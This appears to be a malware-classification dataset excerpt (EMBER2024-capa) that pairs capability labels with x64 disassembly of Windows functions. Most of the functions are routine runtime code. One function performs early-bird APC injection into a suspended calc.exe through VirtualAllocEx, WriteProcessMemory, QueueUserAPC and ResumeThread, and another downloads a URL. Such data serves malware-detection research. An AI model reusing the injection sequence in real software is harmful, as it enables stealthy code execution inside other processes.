joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400aec3c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400aec76
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400aec7b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400aecc4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400cfa40]
cmp byte [rcx + rax], 0
je 0x1400aecc4
dec r8
sub rdx, 1
jne 0x1400aecaa
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400b0604
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b064e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b064e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b064e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b064e
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b064e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b0650
xor al, al
add rsp, 0x28
ret
Function at 0x180007cc0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x180007cf5
mov qword [0x180058bf8], rcx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
lea r8, [0x180007400]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
add rsp, 0x38
ret

Function at 0x180008180
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1800081b1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x18000822b
mov rdi, r14
mov rcx, rbx
call fcn.18000b1b0
test rax, rax
jle 0x180008203
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.18003f430
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18000821b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180008223
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1800081c5
sub r14, rdi
jmp 0x18000830f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x180008242
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180008244
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180008276
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.18003f430
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18000830c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800082b1
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1800082ed
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.180029c54
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x18000830c
cmp rbp, rax
ja 0x1800082c0
test rbp, rbp
je 0x18000830c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.180029c54
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18002d06c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x18005d050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x18002d0d1
test rax, rax
jne 0x18002d0bf
lea r9, str.GetLocaleInfoEx
lea r8, [0x1800467b8]
lea rdx, str.GetLocaleInfoEx
lea ecx, [rax + 0xa]
call fcn.18002cd40
test rax, rax
je 0x18002d0d1
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.18003f3f0
jmp 0x18002d0eb
xor edx, edx
mov rcx, rbp
call fcn.18002d35c
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180031208
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18003121e
mov al, 1
jmp 0x18003128a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18003122f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180031288
mov ecx, dword [rcx + 0x18]
nop
call fcn.180037ca8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180031288
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180031288
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180031288
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18003128a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x180032cfc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18001b2c0
sub rsp, rax
mov rax, qword [0x1800560c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18002f0a4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180032d4b
mov rax, rbp
jmp 0x180032e57
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x58610]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180033d04
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x58610]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180032e53
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180032e53
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180033d04
test rax, rax
js 0x180032e53
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180032e53
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180032e45
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180032e45
cmp byte [rcx], 0xd
jne 0x180032e2b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180032e3a
cmp byte [rcx + 1], 0xa
jne 0x180032e3a
inc rcx
jmp 0x180032e3a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x564d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180032e0d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180032e57
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18001ad70
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180032fec
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x180058610]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x180033042
cmp word [rdx], r9w
jne 0x180033042
or byte [rax + rbp*8 + 0x38], 4
jmp 0x180033047
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x1800331c6
mov r11d, 0xd
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x180033191
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x18003308f
cmp rcx, r8
jae 0x1800330af
cmp word [rcx], r9w
jne 0x18003308f
add rax, 4
mov edx, r9d
jmp 0x180033092
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x180033064
jmp 0x1800331c6
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18003318a
cmp dword [rsp + 0x80], edi
je 0x18003318a
lea r9, [0x180058610]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x180033164
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x180033117
mov word [rbx], bp
jmp 0x1800331c3
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], 0xd
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x180033132
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x1800331c3
cmp word [rsp + 0x70], bp
jne 0x180033170
cmp rbx, rsi
je 0x18003310f
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180033d0c
cmp word [rsp + 0x70], bp
je 0x1800331c6
mov word [rbx], 0xd
jmp 0x1800331c3
mov rcx, r15
lea r9, [0x180058610]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1800331c0
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1800331c6
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800372dc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18003730c
xor eax, eax
jmp 0x1800373cf
mov rbp, rbx
cmp word [rax], si
je 0x180037331
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180037318
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180037314
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180035b40
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x180037372
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180037305
call fcn.18002d9b0
mov rdi, rax
test rax, rax
jne 0x180037388
xor ecx, ecx
call fcn.18002cc40
jmp 0x180037367
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180035b40
test eax, eax
jne 0x1800373b9
mov rcx, rdi
call fcn.18002cc40
jmp 0x1800373c3
xor ecx, ecx
call fcn.18002cc40
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18003b87c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rdx
mov dword [rsp + 0x30], esi
mov rbx, rcx
test rcx, rcx
je 0x18003b8ef
cmp word [rcx], si
je 0x18003b8ef
lea rdx, [0x18004b580]
call fcn.18003e3cc
test eax, eax
je 0x18003b8ef
lea rdx, [0x18004b598]
mov rcx, rbx
call fcn.18003e3cc
test eax, eax
jne 0x18003b8e5
mov ecx, dword [rdi + 8]
lea r9d, [rsi + 2]
lea r8, [rsp + 0x30]
mov edx, 0x2000000b
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x18003b90c
mov eax, dword [rsp + 0x30]
jmp 0x18003b91e
mov rcx, rbx
call fcn.18002cadc
jmp 0x18003b91e
mov ecx, dword [rdi + 8]
lea r8, [rsp + 0x30]
mov r9d, 2
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x18003b910
xor eax, eax
jmp 0x18003b91e
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x18003b91e
call qword [sym.imp.KERNEL32.dll_GetACP]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18003b930
Capabilities:
Get geographical location

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov ebp, edx
mov dword [rax + 8], ebx
mov edi, ecx
call fcn.18002f6b8
mov ecx, edi
lea r9d, [rbx + 2]
and ecx, 0x3ff
lea r8, [rsp + 0x30]
bts ecx, 0xa
mov edx, 0x20000001
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x18003b9d3
cmp edi, dword [rsp + 0x30]
je 0x18003b9cc
test ebp, ebp
je 0x18003b9cc
mov r9, qword [rsi + 0x98]
mov r8d, ebx
movzx edx, word [r9]
lea rcx, [r9 + 2]
lea eax, [rdx - 0x41]
cmp ax, 0x19
jbe 0x18003b9a8
sub dx, 0x61
cmp dx, 0x19
ja 0x18003b9b4
movzx edx, word [rcx]
inc r8d
add rcx, 2
jmp 0x18003b995
or rax, 0xffffffffffffffff
inc rax
cmp word [r9 + rax*2], bx
jne 0x18003b9b8
cmp r8d, eax
setne bl
mov eax, ebx
jmp 0x18003b9d5
mov eax, 1
jmp 0x18003b9d5
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x18003e6f8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180033d0c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180033d0c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18003e845
cmp rax, 0xffffffffffffffff
je 0x18003e845
xor edi, edi
test rbp, rbp
jle 0x18003e7f3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18002cbc0
mov rbx, rax
test rax, rax
jne 0x18003e780
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18003e7e9
mov edx, 0x8000
mov ecx, r14d
call fcn.18003e57c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180031fbc
cmp eax, 0xffffffff
je 0x18003e7c9
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18003e790
mov edx, r15d
mov ecx, r14d
call fcn.18003e57c
jmp 0x18003e7e9
cmp byte [rsi + 0x38], dil
je 0x18003e7e0
cmp dword [rsi + 0x34], 5
jne 0x18003e7e0
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18003e7e9
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18002cc40
jmp 0x18003e857
jns 0x18003e857
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180033d0c
cmp rax, 0xffffffffffffffff
jne 0x18003e811
cmp byte [rsi + 0x30], dil
je 0x18003e857
jmp 0x18003e84d
mov ecx, r14d
call fcn.180037ca8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18003e857
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18003e857
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18003e852
mov edi, dword [rsi + 0x2c]
jmp 0x18003e857
mov edi, 0x16
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180033d0c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x18003f040
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18003f068
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18003f068
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001070
Capabilities:
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
push rbp
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
lea rcx, str.___Tamao_del_codigo:__zu_n
movups xmmword [rsp + 0x70], xmm0
mov eax, 0x90
mov edx, 2
mov word [rsp + 0x68], ax
xor eax, eax
mov qword [r11 - 0x28], rax
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.140001010
xor ebp, ebp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32calc.exe
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rbp
xor edx, edx
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001200
mov qword [rsp + 0x110], rdi
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x1400011fc
mov qword [rsp + 0x100], rbx
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x1400011f8
xor edx, edx
mov qword [rsp + 0x108], rsi
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
mov r8d, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x1400011c5
mov r9d, 2
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x68]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400011c5
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x1400011c5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, str.___has_ganado.
call fcn.140001010
mov rsi, qword [rsp + 0x108]
xor eax, eax
mov rbx, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x110]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001220
add rsp, 0xf0
pop rbp
ret
xor eax, eax
jmp 0x1400011cf
xor eax, eax
jmp 0x1400011d7
xor eax, eax
jmp 0x1400011df

Function at 0x140001ae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b2c
xor al, al
add rsp, 0x28
ret
Function at 0x14001acc0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140032738], rbx
je 0x14001ad27
cmp rax, rbx
jne 0x14001ad1a
mov ebx, 1
mov esi, ebx
jmp 0x14001ad2c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14001acff
mov ebx, 1
mov eax, dword [0x140032740]
cmp eax, ebx
jne 0x14001ad44
mov edi, 0x1f
mov ecx, edi
call fcn.1400c4000
jmp 0x14001adb0
mov eax, dword [0x140032740]
test eax, eax
jne 0x14001ada5
mov dword [0x140032740], ebx
lea r15, [0x1400206d8]
lea rdi, [0x1400206c0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14001ad97
test eax, eax
jne 0x14001ad9b
cmp qword [rdi], r14
je 0x14001ad8c
mov rax, qword [rdi]
mov rcx, qword [0x140020620]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14001ad6e
test eax, eax
je 0x14001adab
mov eax, 0xff
jmp 0x14001af06
mov dword [0x140031ff0], ebx
mov edi, 0x1f
mov eax, dword [0x140032740]
cmp eax, ebx
jne 0x14001add7
lea rdx, [0x1400206b8]
lea rcx, [0x140020628]
call sub.msvcrt.dll__initterm
mov dword [0x140032740], 2
test esi, esi
jne 0x14001ade5
mov rax, r14
xchg qword [0x140032738], rax
cmp qword [0x140032758], r14
je 0x14001ae18
lea rcx, [0x140032758]
call fcn.14001b3b0
test eax, eax
je 0x14001ae18
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140032758]
mov r9, qword [0x140020620]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14001ae31
mov eax, 0xff
jmp 0x14001af06
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14001aeb7
test ax, ax
je 0x14001ae4c
test edx, edx
jne 0x14001aeb7
sub ax, bx
cmp ax, di
ja 0x14001ae62
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14001ae4c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140004034
mov dword [0x140031fec], eax
cmp dword [0x140032010], r14d
jne 0x14001aea0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140031ff0], r14d
jne 0x14001aeb5
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140031fec]
jmp 0x14001af06
cmp ax, 0x22
jne 0x14001aecb
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14001ae3a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14001b444
add rsp, 0x28
jmp 0x14001acc0
Function at 0x140001000
Capabilities:
Download url
Receive data

Disassembly:
push rsi
push rdi
sub rsp, 0x98
mov rsi, r8
mov rdi, rdx
mov rdx, rcx
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x38]
xor ecx, ecx
xor r9d, r9d
call sub.urlmon.dll_URLOpenBlockingStreamA
test eax, eax
js 0x1400010a7
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
mov r8d, 1
call qword [rax + 0x60]
test eax, eax
js 0x1400010c7
mov rax, qword [rsp + 0x50]
mov ecx, eax
mov dword [rsi], eax
call fcn.140001974
mov qword [rdi], rax
mov rcx, qword [rsp + 0x38]
mov r8d, dword [rsi]
mov r10, qword [rcx]
lea r9, [rsp + 0x34]
mov rdx, rax
call qword [r10 + 0x18]
test eax, eax
js 0x1400010b7
mov eax, dword [rsp + 0x34]
cmp eax, dword [rsi]
jne 0x1400010b7
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov sil, 1
jmp 0x140001105
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x1400034aa]
jmp 0x1400010d5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x1400034e6]
jmp 0x1400010d5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x14000346e]
call fcn.140001130
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
